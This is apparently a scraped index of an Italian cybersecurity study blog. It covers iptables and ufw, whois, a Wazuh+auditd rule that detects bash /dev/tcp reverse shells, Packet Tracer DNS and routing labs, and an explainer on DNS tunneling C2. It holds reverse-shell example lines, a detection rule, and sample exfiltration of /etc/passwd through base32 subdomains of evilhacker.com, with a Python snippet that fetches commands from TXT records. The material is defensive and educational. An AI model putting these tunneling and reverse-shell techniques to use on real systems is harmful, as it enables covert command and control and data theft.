glossario-cyber — definizioni di IOC, TTP, MTTD, MTTR, CIRT, CERT ","date":"4 maggio 2026","externalUrl":null,"permalink":"/concetti/soc-structure/","section":"Concetti","summary":"Struttura operativa di un SOC: tier, ruoli specializzati, modelli di deployment (interno/esterno/ibrido), SLA, KPI, differenza SOC vs NOC.","title":"SOC - Struttura e Organizzazione","type":"concetti"},{"content":" Cosa fa # iptables e' l'interfaccia verso Netfilter, il sottosistema del kernel Linux che filtra i pacchetti di rete. Ogni pacchetto che entra, esce o transita attraverso il sistema viene valutato contro le regole definite nelle chain.\nTL;DR # Il kernel Linux non ha un firewall \u0026quot;a se'\u0026quot; — ha Netfilter, un framework di hook nel network stack. iptables e' lo strumento che scrive le regole in quel framework. UFW e' un livello sopra: traduce ufw allow 22/tcp in una regola iptables leggibile solo da chi conosce la sintassi.\nStack # +---------------------------+ | UFW | ← interfaccia utente (facade) | ufw allow 22/tcp | +---------------------------+ | v traduce in +---------------------------+ | iptables | ← strumento userspace | -A INPUT -p tcp | | --dport 22 -j ACCEPT | +---------------------------+ | v scrive regole in +---------------------------+ | Netfilter | ← kernel Linux | hook nel network stack | +---------------------------+ Flusso pacchetto # RETE ESTERNA | v [ INPUT chain ] ← pacchetti destinati a questo host | v PROCESSO LOCALE | v [ OUTPUT chain ] ← pacchetti generati da questo host | v RETE ESTERNA Pacchetto in transito (gateway/router): RETE A --\u0026gt; [ FORWARD chain ] --\u0026gt; RETE B Le tre chain fondamentali # Chain Quando si applica Uso tipico INPUT Pacchetti destinati a questo host Bloccare connessioni in entrata OUTPUT Pacchetti generati da questo host Bloccare traffico uscente (es. porta 4444) FORWARD Pacchetti in transito (routing) Usato su router e gateway Ogni chain ha una default policy: ACCEPT (lascia passare) o DROP (blocca silenziosamente). UFW imposta INPUT su DROP quando abilitato.\nAnalogia OOP # Netfilter = interfaccia (i metodi filterPacket(), dropPacket(), acceptPacket()) iptables = implementazione concreta di quella interfaccia UFW = wrapper/facade sopra iptables che espone un'API semplificata Come funziona # Un pacchetto entra nella chain corretta e viene confrontato con le regole in ordine. Alla prima corrispondenza, si applica l'azione (ACCEPT, DROP, REJECT). Se nessuna regola corrisponde, si applica la default policy.\nUFW semplifica questo meccanismo: sudo ufw allow 22/tcp aggiunge automaticamente la regola corretta alla chain INPUT con azione ACCEPT per la porta 22.\nPerche' e' nato # Prima di UFW, configurare un firewall su Linux richiedeva di scrivere direttamente le regole iptables — sintassi verbosa e facile da sbagliare. UFW (Uncomplicated Firewall) e' nato su Ubuntu per rendere la gestione accessibile. Su server enterprise e distribuzioni non Ubuntu si usa ancora iptables diretto, oppure nftables (il successore moderno).\nScenario Reale # In un SOC trovi iptables diretto su server hardened, appliance di rete, e container Docker. Docker stesso manipola le chain iptables per gestire il networking dei container — per questo a volte le regole UFW non bloccano il traffico Docker (Docker scrive le sue regole prima che UFW le valuti).\nCollegato a # network — categoria ufw — frontend che traduce comandi in regole iptables ","date":"3 maggio 2026","externalUrl":null,"permalink":"/concetti/iptables/","section":"Concetti","summary":"Motore firewall del kernel Linux basato su Netfilter. Organizza le regole in chain (INPUT, OUTPUT, FORWARD). UFW è un frontend che traduce comandi semplici in regole iptables.","title":"iptables - Netfilter firewall Linux","type":"concetti"},{"content":" Cosa fa # Frontend per iptables che traduce comandi semplici in regole Netfilter. Quando abilitato, applica una default policy DENY su tutto il traffico in entrata.\nTL;DR # UFW e' disabilitato di default su Ubuntu. Quando lo abiliti con ufw enable, blocca tutto il traffico in entrata salvo le regole che aggiungi esplicitamente. Le regole outbound sono permesse di default.\nWarning Se abiliti UFW su un server remoto senza prima aprire la porta SSH, perdi l'accesso. Apri sempre 22/tcp prima di ufw enable.\nSintassi # sudo ufw \u0026lt;comando\u0026gt; [protocollo/porta]\nComandi essenziali # Stato e controllo # Comando Cosa fa sudo ufw enable Attiva il firewall (persiste al riavvio) sudo ufw disable Disattiva il firewall sudo ufw status Mostra stato e regole attive sudo ufw status verbose Stato con policy di default sudo ufw status numbered Mostra regole con numero — utile per cancellare sudo ufw reset Azzera tutte le regole e disabilita UFW sudo ufw reload Ricarica le regole senza disabilitare Aggiungere regole (allow / deny) # Comando Cosa fa sudo ufw allow 22/tcp Apre porta 22 TCP in entrata sudo ufw allow ssh Come sopra, via nome servizio sudo ufw allow 80,443/tcp Apre piu' porte in un colpo sudo ufw allow from 192.168.64.1 Permette tutto il traffico da quell'IP sudo ufw allow from 192.168.64.0/24 Permette da intera subnet sudo ufw allow from 192.168.64.1 to any port 22 Da IP specifico solo su porta 22 sudo ufw deny 23/tcp Blocca telnet in entrata sudo ufw deny out 4444 Blocca traffico uscente porta 4444 sudo ufw reject 25/tcp Rifiuta e notifica il mittente (vs deny che droppa silenziosamente) Cancellare regole # Comando Cosa fa sudo ufw delete allow 22/tcp Cancella regola per contenuto sudo ufw delete deny out 4444 Cancella regola outbound sudo ufw delete 3 Cancella regola numero 3 (usa status numbered prima) Default policy # Comando Cosa fa sudo ufw default deny incoming Blocca tutto il traffico in entrata (default) sudo ufw default allow outgoing Permette tutto il traffico in uscita (default) sudo ufw default deny outgoing Blocca tutto il traffico in uscita Logging # Comando Cosa fa sudo ufw logging on Attiva logging (in /var/log/ufw.log) sudo ufw logging off Disattiva logging sudo ufw logging high Livello di dettaglio alto Combinazioni utili # # Verifica stato prima di abilitare sudo ufw status # Sequenza sicura su server remoto sudo ufw allow 22/tcp sudo ufw enable # Apri porte per Wazuh Agent → Manager sudo ufw allow 1514/tcp sudo ufw allow 1514/udp sudo ufw allow 1515/tcp sudo ufw allow 443/tcp # Rimuovi una regola sbagliata (outbound port 4444) sudo ufw delete deny out 4444 Scenario Reale # Durante il lab settimana 10: UFW era stato abilitato in una sessione precedente con una regola deny out 4444 per bloccare la reverse shell. Alla sessione successiva:\nSSH non rispondeva — UFW attivo bloccava nuove connessioni Soluzione: accesso diretto alla console VM, sudo ufw allow 22/tcp Le porte Wazuh (1514, 1515, 443) erano bloccate → l'agent non comunicava col manager sudo ufw delete deny out 4444 necessario per far funzionare il lab reverse shell Lezione: sudo ufw status verbose come primo comando diagnostico quando qualcosa di rete smette di funzionare su Ubuntu.\nRisorse # Ubuntu UFW documentation — riferimento ufficiale con esempi Collegato a # network — categoria iptables — UFW e' un frontend per iptables, le regole diventano chain Netfilter wazuh-auditd-custom-rule — porte UFW aperte durante il lab Wazuh ","date":"3 maggio 2026","externalUrl":null,"permalink":"/comandi/ufw/","section":"Comandi","summary":"Frontend semplificato per iptables su Ubuntu/Debian. Gestisce regole firewall in entrata e uscita con comandi leggibili. Default policy: nega tutto il traffico in entrata quando abilitato.","title":"ufw - Uncomplicated Firewall","type":"comandi"},{"content":" Cosa fa # Interroga i database WHOIS per ottenere registrazione e ownership di un indirizzo IP o dominio. Utile in DFIR per identificare chi controlla un IP sospetto: paese, provider, ASN, contatto abusi.\nTL;DR # whois 117.11.88.124 # → organizzazione, paese, ASN, range IP assegnato Sintassi # whois \u0026lt;ip-o-dominio\u0026gt;\nComandi essenziali # Comando Cosa fa whois 117.11.88.124 Info su IP: organizzazione, paese, ASN whois evil.com Info su dominio: registrar, data registrazione, nameserver Output chiave da leggere # NetRange: 117.0.0.0 - 117.255.255.255 ← blocco assegnato CIDR: 117.0.0.0/8 NetName: CHINANET-SH ← nome del blocco Organization: China Telecom ← provider Country: CN ← paese OrgAbuseEmail: abuse@example.com ← contatto per segnalazioni Note whois da' informazioni sull'owner del blocco IP (provider o AS), non sull'utente finale. La citta' esatta richiede un tool di geolocalizzazione (iplocation.net, ipinfo.io). Per l'ownership e' piu' affidabile di qualsiasi geolocalizzatore.\nScenario Reale # In un'analisi pcap (CyberDefenders WebStrike) l'IP sorgente era 117.11.88.124. whois ha confermato il blocco assegnato a China Telecom e la citta' Tianjin — prima evidenza sull'origine geografica dell'attaccante.\nIn un SOC, whois e' il primo passo quando si vede un IP sconosciuto nei log: prima di bloccare, si verifica se e' un provider legittimo, un'ASN nota come fonte di attacchi, o un range di hosting anonimo.\nCollegato a # network — categoria dfir — usato nel triage di IP sospetti webstrike — challenge dove e' stato usato per identificare l'attaccante ","date":"3 maggio 2026","externalUrl":null,"permalink":"/comandi/whois/","section":"Comandi","summary":"Interroga i database WHOIS per ottenere informazioni su un IP o dominio: ASN, organizzazione, paese, range di indirizzi, abuse contact.","title":"whois","type":"comandi"},{"content":" Cosa fa # auditd cattura le syscall del kernel (inclusa connect()) e le scrive in /var/log/audit/audit.log. Il Wazuh Agent legge quel file e manda gli eventi al Manager, che applica una regola custom per generare un alert quando bash apre una connessione TCP in uscita.\nTL;DR # # Il flusso completo bash /dev/tcp/192.168.64.200/4444 → auditd cattura syscall connect() → /var/log/audit/audit.log → Wazuh Agent (host) legge il file → Wazuh Manager (Docker) applica regola 100100 → Alert in dashboard: level 12, MITRE T1059.004 Architettura: agent sull'host, manager in Docker # Wazuh Manager, Indexer e Dashboard girano in Docker. Il Wazuh Agent è installato direttamente sull'host Ubuntu — perché deve vedere il filesystem, i processi e i log del sistema operativo reale, non del container.\nUbuntu host ├── Wazuh Agent ← legge log, manda eventi al manager ├── auditd ← cattura syscall kernel └── Docker ├── wazuh.manager ← riceve eventi, applica regole ├── wazuh.indexer ← salva gli alert (OpenSearch) └── wazuh.dashboard ← interfaccia web Le regole custom vivono nel manager (Docker) su un named volume:\n# Il volume persiste tra restart e rebuild del container docker inspect single-node-wazuh.manager-1 | grep -A3 \u0026#34;Mounts\u0026#34; # Source: /var/lib/docker/volumes/single-node_wazuh_etc/_data # Destination: /var/ossec/etc Questo significa che le modifiche a local_rules.xml sopravvivono a docker compose down \u0026amp;\u0026amp; up.\nauditd — cos'è # auditd (Audit Daemon) è un demone Linux che intercetta le syscall del kernel e le registra in /var/log/audit/audit.log. Non monitora i log di sistema — monitora le chiamate al kernel stesso.\nUna regola auditd dice: \u0026quot;ogni volta che un processo esegue questa syscall, scrivilo.\u0026quot; Nel nostro caso:\n# Regola: logga ogni connect() eseguito da /usr/bin/bash sudo auditctl -a always,exit -F arch=b64 -S connect -F exe=/usr/bin/bash -k bash_reverse_shell # Resa persistente echo \u0026#39;-a always,exit -F arch=b64 -S connect -F exe=/usr/bin/bash -k bash_reverse_shell\u0026#39; \\ | sudo tee /etc/audit/rules.d/reverse-shell.rules sudo augenrules --load Il parametro -k bash_reverse_shell è la chiave — finisce nel campo key= del log e permette di filtrare gli eventi.\nProblemi reali e soluzioni # 1. Wazuh Agent non leggeva audit.log # Il file /var/log/audit/audit.log è owned da root:adm. L'agent gira come utente wazuh, che non era nel gruppo adm.\nsudo -u wazuh cat /var/log/audit/audit.log # Permission denied sudo usermod -aG adm wazuh sudo systemctl restart wazuh-agent 2. log_format: audit non funzionava # Il formato audit in ossec.conf è incompatibile con il formato enriched di auditd su Ubuntu 24.04, che aggiunge traduzioni human-readable in fondo a ogni riga:\nkey=\u0026#34;bash_reverse_shell\u0026#34;ARCH=aarch64 SYSCALL=connect AUID=\u0026#34;barno\u0026#34;... Soluzione: usare log_format: syslog in /var/ossec/etc/ossec.conf:\n\u0026lt;localfile\u0026gt; \u0026lt;log_format\u0026gt;syslog\u0026lt;/log_format\u0026gt; \u0026lt;location\u0026gt;/var/log/audit/audit.log\u0026lt;/location\u0026gt; \u0026lt;/localfile\u0026gt; 3. La regola senza if_sid non scattava # In Wazuh, quando un evento viene catturato da un decoder (nel nostro caso auditd), vengono valutate solo le regole figlie di quel decoder. Una regola senza \u0026lt;if_sid\u0026gt; viene ignorata per quegli eventi.\nIl decoder auditd scatta la regola base 80700. La nostra regola custom deve essere figlia di 80700:\n\u0026lt;if_sid\u0026gt;80700\u0026lt;/if_sid\u0026gt; \u0026lt;!-- obbligatorio per eventi auditd --\u0026gt; \u0026lt;match\u0026gt;bash_reverse_shell\u0026lt;/match\u0026gt; La regola custom # Si scrive dalla dashboard: Management → Rules → local_rules.xml → icona matita.\n\u0026lt;group name=\u0026#34;audit,reverse_shell,\u0026#34;\u0026gt; \u0026lt;rule id=\u0026#34;100100\u0026#34; level=\u0026#34;12\u0026#34;\u0026gt; \u0026lt;if_sid\u0026gt;80700\u0026lt;/if_sid\u0026gt; \u0026lt;match\u0026gt;bash_reverse_shell\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;Possible reverse shell: bash ha aperto una connessione TCP in uscita\u0026lt;/description\u0026gt; \u0026lt;mitre\u0026gt; \u0026lt;id\u0026gt;T1059.004\u0026lt;/id\u0026gt; \u0026lt;/mitre\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;/group\u0026gt; Dopo il salvataggio, riavviare il manager:\ndocker exec single-node-wazuh.manager-1 /var/ossec/bin/wazuh-control restart Tip Per testare la regola prima di applicarla: Management → Rules → Ruleset Test (o wazuh-logtest dal container). Incolla una riga del log e verifica che la Phase 3 mostri il rule id corretto.\nWarning Non usare ID regola gia' esistenti. Il file local_rules.xml contiene gia' un esempio con ID 100001. Usa ID da 100100 in su per le regole custom.\nCosa vede tshark vs cosa vede Wazuh # tshark Wazuh (auditd) Connessione TCP Si — IP, porta, durata Si — tramite syscall connect() Comandi eseguiti Si, in chiaro (bash /dev/tcp non cifra) No — i comandi non finiscono nei log Processo responsabile No Si — exe=\u0026quot;/usr/bin/bash\u0026quot;, pid, uid Alert automatico No — serve analisi manuale Si — regola custom level 12 Visibilita' Rete Host Una reverse shell cifrata (es. via SSH o meterpreter con TLS) renderebbe tshark cieco ma non Wazuh — la syscall connect() avviene comunque.\nScenario Reale # In un SOC enterprise auditd e Wazuh coesistono su tutti gli endpoint. La regola bash_reverse_shell fa parte di un ruleset di detection per Living-off-the-Land (LotL): tecniche che usano binari legittimi del sistema operativo (bash, python, nc) per fare cose malevole. MITRE T1059.004 copre esattamente questo. Un alert level 12 su questa regola richiederebbe triage immediato da parte di un analista Tier 1.\nCollegato a # log — categoria (Wazuh come SIEM) incidents — categoria (detection reverse shell) wazuh-architecture — architettura base Wazuh prima di questa nota reverse-shell — il vettore di attacco rilevato ","date":"2 maggio 2026","externalUrl":null,"permalink":"/concetti/wazuh-auditd-custom-rule/","section":"Concetti","summary":"Come integrare auditd con Wazuh (Docker) per rilevare bash /dev/tcp: architettura agent/manager, permessi, formato log, regola XML custom.","title":"Wazuh + auditd: rilevare una reverse shell con regola custom","type":"concetti"},{"content":" Cosa fa # In una LAN flat con switch L2, il client risolve un hostname via DNS query UDP porta 53, poi apre una connessione HTTP TCP verso l'IP restituito. Nessun gateway necessario.\nTL;DR # # Flusso completo da Pc Barno (192.168.1.1) a www.sito.it 1. Browser chiede \u0026#34;chi è www.sito.it?\u0026#34; 2. DNS query UDP → 192.168.1.10:53 3. DNS risponde: \u0026#34;192.168.1.20\u0026#34; 4. HTTP GET TCP → 192.168.1.20:80 5. Server risponde con la pagina Tutto avviene dentro la stessa subnet 192.168.1.0/24. Lo switch forwarda i frame in base al MAC address. Nessun router coinvolto.\nTopologia dell'esercizio # Pc Barno (192.168.1.1) └── Fa0 → Switch1 (Fa0/1) ├── Fa0/2 → Server0 — DNS SERVER (192.168.1.10) └── Fa0/3 → Server1 — HTTP SERVER (192.168.1.20) Switch utilizzato: Cisco 2960-24TT — opera a L2, nessun routing.\nConfigurazione IP dei dispositivi # Dispositivo IP Subnet Mask Gateway DNS Server Pc Barno 192.168.1.1 255.255.255.0 0.0.0.0 192.168.1.10 Server0 (DNS) 192.168.1.10 255.255.255.0 0.0.0.0 0.0.0.0 Server1 (HTTP) 192.168.1.20 255.255.255.0 0.0.0.0 0.0.0.0 Il gateway è 0.0.0.0 su tutti: non esiste nessun router in questa topologia.\nPerché il gateway non serve # Lo switch opera a L2. Quando Pc Barno vuole raggiungere 192.168.1.10:\nCalcola: destinazione nella stessa subnet? Sì (/24 su entrambi) Invia ARP request: \u0026quot;chi ha 192.168.1.10?\u0026quot; Lo switch forwarda il frame alla porta corretta (Fa0/2) Server0 risponde con il suo MAC Nessun gateway attraversato Il gateway serve solo per uscire dalla subnet verso un'altra rete, e richiede un router (o switch L3 con routing abilitato).\nIl record DNS: A Record # In Packet Tracer, su Server0 (tab Services → DNS):\nNo. Name Type Detail 0 www.sito.it A Record 192.168.1.20 Il record di tipo A mappa un hostname a un indirizzo IPv4. È il tipo base della risoluzione DNS.\nChi ha bisogno del DNS server e chi no # Dispositivo Ha bisogno del DNS? Perché Pc Barno Sì Inizia richieste usando nomi (www.sito.it) Server0 (DNS) No Risponde a richieste, non le inizia Server1 (HTTP) No Riceve connessioni in ingresso, non risolve nomi Regola Generale Chi fa richieste usando nomi ha bisogno del DNS. Chi risponde a richieste no. Eccezione nel mondo reale: un server che deve contattare API esterne, mandare email o aggiornare pacchetti ha bisogno di un DNS configurato, perché anche lui inizia richieste verso hostname\nIl PDU della DNS query (da Packet Tracer) # Decostruendo il pacchetto in uscita da Pc Barno si vedono 4 layer:\nEthernet II SRC: 0001.C789.A4D1 (MAC di Pc Barno) DST: 0001.436A.0B4D (MAC di Server0) TYPE: 0x0800 (IPv4) IP SRC IP: 192.168.1.1 DST IP: 192.168.1.10 TTL: 128 PRO: 0x11 (UDP) UDP SOURCE PORT: 1042 (porta ephemeral casuale) DEST PORT: 53 (DNS, sempre) DNS Header QDCOUNT: 1 (una domanda) ANCOUNT: 0 (nessuna risposta ancora) DNS Query NAME: www.sito.it TYPE: 1 (A Record — voglio un IPv4) In tcpdump questo pacchetto apparirebbe come:\nIP 192.168.1.1.1042 \u0026gt; 192.168.1.10.53: UDP, length 35 # con -v: 33947 A? www.sito.it. (35) Perché DNS usa UDP invece di TCP # Leggero: nessun overhead di connessione Senza ordine: una singola risposta, non c'è sequenza da garantire Senza three-way handshake: con TCP sarebbero almeno 7 pacchetti (3 handshake + 1 query + 1 risposta + 2 chiusura); con UDP sono 2 (domanda + risposta) Eccezione: DNS usa TCP quando la risposta supera 512 byte, ad esempio nei trasferimenti di zona tra server DNS (zone transfer). Traffico DNS su TCP da un client normale è anomalo e vale la pena investigarlo.\nErrore tipico in Packet Tracer # Configurare il record DNS sul server sbagliato. Se il record www.sito.it → 192.168.1.20 è su Server1 (HTTP server) invece che su Server0 (DNS server), il PC invia la query a 192.168.1.10 (Server0), che non ha il record e risponde con NXDOMAIN. Nessuna richiesta HTTP parte perché il client non ha un IP da contattare.\nAnalogia # Il DNS è una rubrica telefonica: conosci il nome (www.sito.it), non sai il numero (192.168.1.20). Chiedi alla rubrica, ottieni il numero, poi chiami direttamente. Senza rubrica hai solo un nome e non sai chi chiamare.\nScenario Reale # Questa topologia corrisponde a un VPS su Hetzner o AWS con Docker, Traefik e Nginx. Il DNS pubblico (Cloudflare, Route53) ha il record A che punta all'IP del VPS. Traefik riceve la richiesta, legge l'header Host: www.sito.it e la instrada al container Nginx corretto. Stesso IP pubblico, decine di siti diversi grazie al virtual host. Il meccanismo è identico a questo lab: risoluzione DNS → connessione TCP verso l'IP restituito.\nRisorse Esterne # https://www.youtube.com/watch?v=9BdpA_-PHhY\u0026list=PLod5uVuFMqhaEu_Qn9MmUbT6AiASm9M-ja\u0026index=4\nCollegato a # osi-model — i 4 layer visibili nel PDU (Ethernet, IP, UDP, DNS) nat-concept — in questa LAN non c'è NAT; in produzione il traffico esce tramite NAT del router blog-arp-poisoning — ARP è coinvolto nella fase di risoluzione MAC prima della DNS query network — categoria ","date":"1 maggio 2026","externalUrl":null,"permalink":"/concetti/dns-http-lan-packet-tracer/","section":"Concetti","summary":"Come funziona la risoluzione DNS e la richiesta HTTP in una LAN flat con switch, senza router né gateway.","title":"DNS e HTTP in una LAN con switch","type":"concetti"},{"content":" Cosa fa # Il routing statico permette a un router di raggiungere reti a cui non è fisicamente collegato, configurando manualmente il percorso: \u0026quot;per raggiungere la rete X, manda i pacchetti a Y\u0026quot;.\nTL;DR # # Un router conosce solo le reti direttamente connesse. # Per tutto il resto serve una regola esplicita. # Router0 sa: # 192.168.1.0/24 → Gig0/0 (direttamente connessa) # 10.0.0.0/24 → Gig0/1 (direttamente connessa) # 8.8.8.0/24 → ??? (buio — serve static route) # Static route aggiunta: ip route 8.8.8.0 255.255.255.0 10.0.0.2 # \u0026#34;per 8.8.8.0/24, manda i pacchetti a Router2 (10.0.0.2)\u0026#34; Topologia costruita # Pc Barno (192.168.1.2) └── Fa0 → Switch1 └── Fa0/2 → Router0 Gig0/0 (192.168.1.1) ← gateway LAN Router0 Gig0/1 (10.0.0.1) ← link WAN └── Router2 Gig0/0 (10.0.0.2) Router2 Gig0/1 (8.8.8.1) ├── DNS Server (8.8.8.8) └── HTTP Server (8.8.8.20) Tre subnet distinte:\n192.168.1.0/24 → LAN privata (PC + Switch + Router0 LAN side) 10.0.0.0/24 → link punto-punto tra i due router 8.8.8.0/24 → rete \u0026quot;internet\u0026quot; simulata (server pubblici) Configurazione IP completa # Dispositivo Interfaccia IP Mask Gateway Pc Barno Fa0 192.168.1.2 255.255.255.0 192.168.1.1 Router0 Gig0/0 192.168.1.1 255.255.255.0 — Router0 Gig0/1 10.0.0.1 255.255.255.0 — Router2 Gig0/0 10.0.0.2 255.255.255.0 — Router2 Gig0/1 8.8.8.1 255.255.255.0 — DNS Server Fa0 8.8.8.8 255.255.255.0 8.8.8.1 HTTP Server Fa0 8.8.8.20 255.255.255.0 8.8.8.1 Static route — concetto # Un router conosce solo le reti a cui è fisicamente collegato. Per tutto il resto è cieco. La static route è una regola manuale che dice al router dove mandare i pacchetti per reti che non vede direttamente.\nAnalogia: indicazioni stradali. \u0026quot;Per andare a Milano prendi l'A7\u0026quot; — non ti dicono ogni svincolo, solo il prossimo passo. Il router fa lo stesso: sa solo il next hop, non l'intero percorso.\nStatic route — configurazione su Cisco IOS # # Sintassi ip route [rete-destinazione] [mask] [next-hop] # Su Router0: per raggiungere la rete dei server pubblici Router(config)# ip route 8.8.8.0 255.255.255.0 10.0.0.2 # Su Router2: per tornare alla LAN privata Router(config)# ip route 192.168.1.0 255.255.255.0 10.0.0.1 La route di ritorno è obbligatoria — senza di essa i pacchetti arrivano a destinazione ma le risposte non sanno come tornare indietro.\nDefault route # # \u0026#34;Per tutto quello che non conosco, manda a Router2\u0026#34; Router(config)# ip route 0.0.0.0 0.0.0.0 10.0.0.2 0.0.0.0/0 significa qualsiasi destinazione. E' il default route, equivalente del \u0026quot;gateway of last resort\u0026quot;. In casa il router lo riceve automaticamente dall'ISP via DHCP. Su un router Cisco enterprise va configurato a mano.\nVerifica routing table # Router# show ip route # Output rilevante: # S 8.8.8.0/24 [1/0] via 10.0.0.2 \u0026lt;- static route # C 10.0.0.0/24 is directly connected \u0026lt;- rete diretta # C 192.168.1.0/24 is directly connected \u0026lt;- rete diretta # S* 0.0.0.0/0 [1/0] via 10.0.0.2 \u0026lt;- default route Legenda prefissi:\nC — Connected (rete direttamente connessa) L — Local (IP dell'interfaccia stessa) S — Static (route configurata manualmente) S* — Static default route Static vs routing dinamico # Static Dinamico (OSPF, RIP, BGP) Configurazione Manuale Automatica Scala Non scala Scala Uso tipico Lab, reti piccole, link WAN semplici Reti aziendali, internet Come funziona Tu scrivi le regole I router si scambiano le informazioni tra loro Nel mondo reale i link punto-punto tra due router usano spesso /30 invece di /24 — servono esattamente 2 indirizzi host e non ha senso sprecare una subnet intera.\nProblemi riscontrati e soluzioni # Mask sbagliata sul link WAN Packet Tracer imposta /8 di default per reti 10.x.x.x (logica classful legacy). Correggere sempre a /24 o alla mask desiderata. Due interfacce con mask diverse non si parlano.\nGateway mancante sui server Anche i server hanno bisogno del gateway configurato quando devono rispondere a client su reti diverse. Senza gateway la risposta non sa come tornare indietro.\nRouter che processa le DNS query invece di forwardarle Il router Cisco IOS tenta di risolvere i nomi DNS localmente. Disabilitare con:\nRouter(config)# no ip domain-lookup DNS server sul PC punta al router Il router Cisco IOS non fa da DNS proxy come un router consumer di casa. Il PC deve puntare direttamente all'IP del DNS server (8.8.8.8), non al gateway.\nIl flusso completo www.sito.it # # 1. Pc Barno → DNS query UDP porta 53 → 8.8.8.8 # 2. Router0: non e\u0026#39; per me, controllo routing table → next hop 10.0.0.2 # 3. Router2: e\u0026#39; sulla mia Gig0/1 → forwardo a 8.8.8.8 # 4. DNS Server risponde: www.sito.it = 8.8.8.20 # 5. Risposta torna: Router2 → Router0 → Switch → Pc Barno # 6. Pc Barno apre TCP verso 8.8.8.20 porta 80 # 7. HTTP Server risponde con la pagina Scenario Reale # Questa topologia corrisponde a quello che succede quando navighi da casa. Il PC punta al router di casa come DNS (o direttamente a 1.1.1.1 o 8.8.8.8 se configurato manualmente). Il router ha una default route verso il router dell'ISP. L'ISP usa routing dinamico BGP con il resto di internet. I server pubblici (Hetzner, AWS) hanno gateway configurato verso il loro provider. Il meccanismo e' identico — solo con piu' hop in mezzo.\nCollegato a # dns-http-lan-packet-tracer — esercizio precedente, LAN flat senza router osi-model — i layer coinvolti nel forwarding nat-concept — il passo successivo: come il router maschera gli IP privati verso internet network — categoria ","date":"1 maggio 2026","externalUrl":null,"permalink":"/concetti/routing-statico-lan-internet/","section":"Concetti","summary":"Come configurare il routing statico su router Cisco per connettere una LAN privata a una rete pubblica simulata, con DNS e HTTP server esterni.","title":"Routing statico e topologia LAN-internet","type":"concetti"},{"content":" Cosa fa # Trasforma il protocollo DNS in un canale bidirezionale C2 — i comandi viaggiano nei record TXT della risposta, i dati esfiltrati viaggiano codificati nei sottodomini della query.\nTL;DR # Vittima Resolver (ISP) Attaccante (Hetzner) | | | |-- query TXT beacon.evil.com -\u0026gt;|-- gira la query --------\u0026gt;| |\u0026lt;- risposta TXT \u0026#34;cat /etc/passwd\u0026#34; ------------------------| | | | |-- query cm9vdDp4.evil.com ---\u0026gt;|-- gira la query --------\u0026gt;| | (risultato in base32) | decodifica = /etc/passwd Il firewall vede solo traffico DNS legitimo su UDP 53. Non vede mai una connessione diretta al C2.\nPerche' e' nato # I firewall bloccano connessioni TCP dirette verso IP sospetti. HTTP e HTTPS verso domini sconosciuti vengono ispezionati o bloccati. Ma il DNS e' diverso: senza di esso la rete smette di funzionare. UDP 53 e' quasi sempre aperto e raramente ispezionato in profondita'. Il DNS tunneling sfrutta questa fiducia implicita.\nInfrastruttura dell'attaccante # Per far funzionare il tunnel servono tre elementi:\nUn dominio economico (es. evilhacker.com, ~5$/anno su Namecheap). Un VPS — qualsiasi provider come Hetzner. I record NS del dominio puntati al VPS.\nDa quel momento il VPS e' l'authoritative nameserver per *.evilhacker.com. Ogni query DNS verso qualsiasi sottodominio di evilhacker.com arriva direttamente all'attaccante — attraverso il recursive resolver dell'ISP della vittima, che fa il lavoro sporco inconsapevolmente.\nFlusso completo dell'attacco # sequenceDiagram participant V as Vittima (malware) participant R as Recursive Resolver participant A as Attaccante (authoritative) Note over V: Installato via phishing V-\u003e\u003eR: query TXT beacon.evilhacker.com R-\u003e\u003eA: query TXT beacon.evilhacker.com A-\u003e\u003eR: risposta TXT \"cat /etc/passwd\" R-\u003e\u003eV: risposta TXT \"cat /etc/passwd\" Note over V: esegue il comando localmente V-\u003e\u003eR: query cm9vdDp4OjA6MC4uLg.evilhacker.com R-\u003e\u003eA: query cm9vdDp4OjA6MC4uLg.evilhacker.com Note over A: decodifica sottodominio = /etc/passwd A-\u003e\u003eR: risposta A 1.2.3.4 (dummy) R-\u003e\u003eV: risposta A 1.2.3.4 (ignorata) Encoding — perche' base32 # I sottodomini DNS accettano solo a-z, 0-9, -. Il base64 standard usa anche + e /, che non sono validi. Si usa base32 o un base64 modificato che sostituisce i caratteri problematici.\nSTRUTTURA QUERY DI EXFILTRATION: cm9vdDp4OjA6MC4uLg . evilhacker . com |_________________| |_________| |__| | | | dati in base32 dominio C2 TLD (output comando) (va all\u0026#39;attaccante) Esempio reale: echo \u0026#34;root:x:0:0:root:/root:/bin/bash\u0026#34; | base32 → OJXW65B2OJXW65B2NFXGOLQ= → ojxw65b2ojxw65b2nfxgolq.evilhacker.com Note Base32 espande i dati del 60% rispetto all'originale. Non comprime — rende i dati DNS-safe. Blocchi grandi vengono spezzati in query multiple.\nCome il malware legge il record TXT # Il malware usa una libreria DNS standard — lo stesso meccanismo di dig o nslookup. Non c'e' nulla di speciale: fa una query di tipo TXT e legge il campo stringa della risposta.\nimport dns.resolver risposta = dns.resolver.resolve(\u0026#34;beacon.evilhacker.com\u0026#34;, \u0026#34;TXT\u0026#34;) comando = risposta[0].strings[0].decode() # comando = \u0026#34;cat /etc/passwd\u0026#34; IoC — rilevamento Blue Team # Indicatore Soglia sospetta Perche' Lunghezza sottodominio \u0026gt; 50 caratteri nomi legittimi sono brevi Entropia del nome alta (caratteri casuali) base32/64 non forma parole Volume query stesso dominio decine/minuto beaconing periodico Record TXT insoliti contenuto lungo o binario comando nascosto Pattern temporale intervalli regolari heartbeat C2 # sottodomini lunghi in un dfir tshark -r capture.dfir -Y \u0026#34;dns.qry.name\u0026#34; -T fields -e dns.qry.name \\ | awk \u0026#39;length($0) \u0026gt; 50\u0026#39; # volume per dominio base tshark -r capture.dfir -Y \u0026#34;dns\u0026#34; -T fields -e dns.qry.name \\ | grep -oP \u0026#39;[^.]+\\.[^.]+$\u0026#39; | sort | uniq -c | sort -rn | head MITRE ATT\u0026amp;CK # T1071.004 — Application Layer Protocol: DNS Tattica: Command and Control\nTool # dnscat2 — tunneling C2 via DNS, funziona anche senza dominio reale (modalita' diretta) iodine — tunneling IP-over-DNS, crea una interfaccia di rete virtuale Lab previsto giovedi' 30/04 con Kali (attaccante) + Ubuntu (vittima) su rete locale.\nScenario Reale # Wazuh genera un alert: volume anomalo di query DNS verso randomstring.somedomain.com. Il pattern e' regolare ogni 60 secondi. I sottodomini cambiano ad ogni query ma il dominio base e' sempre lo stesso.\n# sul host sospetto, verifica quale processo fa le query DNS sudo tcpdump -i any port 53 -n # identifica il processo con connessioni attive ss -tulnp | grep -i dns 